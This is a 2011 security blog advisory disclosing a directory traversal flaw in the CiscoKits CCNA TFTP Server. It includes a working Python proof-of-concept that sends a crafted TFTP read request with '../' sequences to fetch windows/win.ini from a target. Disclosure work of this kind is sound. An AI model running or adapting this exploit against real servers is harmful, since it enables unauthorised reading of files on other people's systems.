SecPod

Learn Search

Search across all Learn content

← Back to Security Research

CiscoKits TFTP Server Directory Traversal Vulnerability

SecPod Research Team member (Antu Sanadi) has found a Directory Traversal vulnerability in CiscoKits CCNA TFTP Server. The vulnerability is caused due to improper validation of ‘Read’ request containing ‘../’ sequences. The flaw can be exploited to read arbitrary files via directory traversal attack...

Aug 3, 2011By Veerendra GG2 min read

SecPod Research Team member (Antu Sanadi) has found a Directory Traversal vulnerability in CiscoKits CCNA TFTP Server. The vulnerability is caused due to improper validation of ‘Read’ request containing ‘../’ sequences. The flaw can be exploited to read arbitrary files via directory traversal attacks.

POC : Download here.

More information on the flaws can be found here.

plaintext

#!/usr/bin/python
##############################################################################
# Title     : CiscoKits TFTP Server Directory Traversal Vulnerability
# Author    : Antu Sanadi from SecPod Technologies (www.secpod.com)
# Vendor    : http://www.certificationkits.com/cisco-ccna-tftp-server/
# Advisory  : https://www.secpod.com/blog/?p=301
#             http://secpod.org/SECPOD_CiscoKits_TFTP_Server_Dir_Trav_POC.py
#             http://secpod.org/advisories/SECPOD_CiscoKits_TFTP_Server_Dir_Trav.txt
# Version   : CiscoKits CCNA TFTP Server 1.0.0.0
# Date      : 21/07/2011
##############################################################################
import sys, socket

def sendPacket(HOST, PORT, data):
    '''
    Sends UDP Data to a Particular Host on a Specified Port
    with a Given Data and Return the Response
    '''
    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_sock.sendto(data, (HOST, PORT))
    data = udp_sock.recv(1024)
    udp_sock.close()
    return data

if __name__ == "__main__":

    if len(sys.argv) < 2:
        print "\tUsage: python exploit.py target_ip"
        print "\tExample : python exploit.py 127.0.0.1"
        print "\tExiting..."
        sys.exit(0)

    HOST = sys.argv[1]                        ## The Server IP
    PORT = 69                                 ## Default TFTP port

    data = "\x00\x01"                         ## TFTP Read Request
    data += "../" * 10 + "windows/win.ini" + "\x00"  ## Read boot.ini file using directory traversal
    data += "netascii\x00"                    ## TFTP Type

    # netascii
    rec_data = sendPacket(HOST, PORT, data)
    print "Data Found on the target : %s " %(HOST)
    print rec_data.strip()

Welcome any feedback or suggestion.
Cheers!
SecPod Research Team

Featured Posts

Open Root-Level RCE Flaw in Cisco Nexus 9000 Series Switches Exposes Networks to Complete Compromise — CVE-2026-20212
Root-Level RCE Flaw in Cisco Nexus 9000 Series Switches Exposes Networks to Complete Compromise — CVE-2026-20212

CVE Research

Root-Level RCE Flaw in Cisco Nexus 9000 Series Switches Exposes Networks to Complete Compromise — CVE-2026-20212

CVE-2026-20212 is a critical vulnerability in Cisco Nexus 9000 Series Switches that use Silicon One ASICs. It allows an unauthenticated remote attacker to execute code with root privileges by sending crafted input to TCP ports 43210 and 43211, which are reachable in the default Layer 3 VRF. Exploitation can also crash the S1HAL process and force a device reload. This article covers how the vulnerability works, the affected product identifiers, its potential impact, available workarounds, and how to identify fixed software using the Cisco Software Checker.

Sep 4, 2026

Open SonicWall SMA 1000 Under Active Attack: Two Zero-Days Enable SSRF and Remote Code Execution
SonicWall SMA 1000 Under Active Attack: Two Zero-Days Enable SSRF and Remote Code Execution

CVE Research

SonicWall SMA 1000 Under Active Attack: Two Zero-Days Enable SSRF and Remote Code Execution

Sep 3, 2026

Open Introducing SecPod VEX Studio: Guided Vulnerability Exploitability Assessment for Open-Source Maintainers
Secpod_VEX_Studio For Open-Source Vulnerability Management

CVE Research

Introducing SecPod VEX Studio: Guided Vulnerability Exploitability Assessment for Open-Source Maintainers

A human-guided path from SBOM and vulnerability data to reviewable OpenVEX statements

Sep 2, 2026

Open Inside the PaperCut Zero-Day Attack Chain: Auth Bypass to Code Execution
Inside the PaperCut Zero-Day Attack Chain: Auth Bypass to Code Execution

CVE Research

Inside the PaperCut Zero-Day Attack Chain: Auth Bypass to Code Execution

Sep 1, 2026